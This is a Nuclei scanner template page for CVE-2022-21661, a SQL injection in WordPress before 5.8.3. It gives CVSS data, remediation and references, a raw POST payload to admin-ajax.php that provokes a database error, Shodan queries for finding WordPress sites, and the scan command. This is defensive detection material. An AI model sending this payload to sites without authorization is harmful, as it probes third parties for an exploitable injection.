Skip to content
Nuclei Templates

WordPress <5.8.3 - SQL Injection

ID: CVE-2022-21661

Severity: high

Author: Marcio Mendes

Tags: cve2022,cve,wp,sqli,wpquery,wpscan,packetstorm,wordpress

Description

Section titled “Description”

WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-21661


info:
  name: WordPress <5.8.3 - SQL Injection
  author: Marcio Mendes
  severity: high
  description: |
    WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: This has been patched in 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
    - https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection
    - http://packetstormsecurity.com/files/165540/WordPress-Core-5.8.2-SQL-Injection.html
    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
    - https://nvd.nist.gov/vuln/detail/cve-2022-21661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-21661
    cwe-id: CWE-89
    epss-score: 0.94585
    epss-percentile: 0.99231
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wordpress
    product: wordpress
    shodan-query:
      - cpe:"cpe:2.3:a:wordpress:wordpress"
      - http.component:"wordpress"
  tags: cve2022,cve,wp,sqli,wpquery,wpscan,packetstorm,wordpress


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":[""]}}}&ecs_ajax_settings={"post_id":"1", "current_page":1, "widget_id":1, "theme_id":1, "max_num_pages":10}


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "WordPress database error:")'
          - 'contains(body, "error in your SQL syntax")'
        condition: and
# digest: 490a00463044022031a6fbdeb373cb97b5d6b7fcf828c8a86e1519d4a6dff0c0072de150af1d042e0220235234f16fd0f93015b04d9eb2bdc27989695b424fe36bdc6927ecdded4c2b05:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-21661.yaml"

View on Github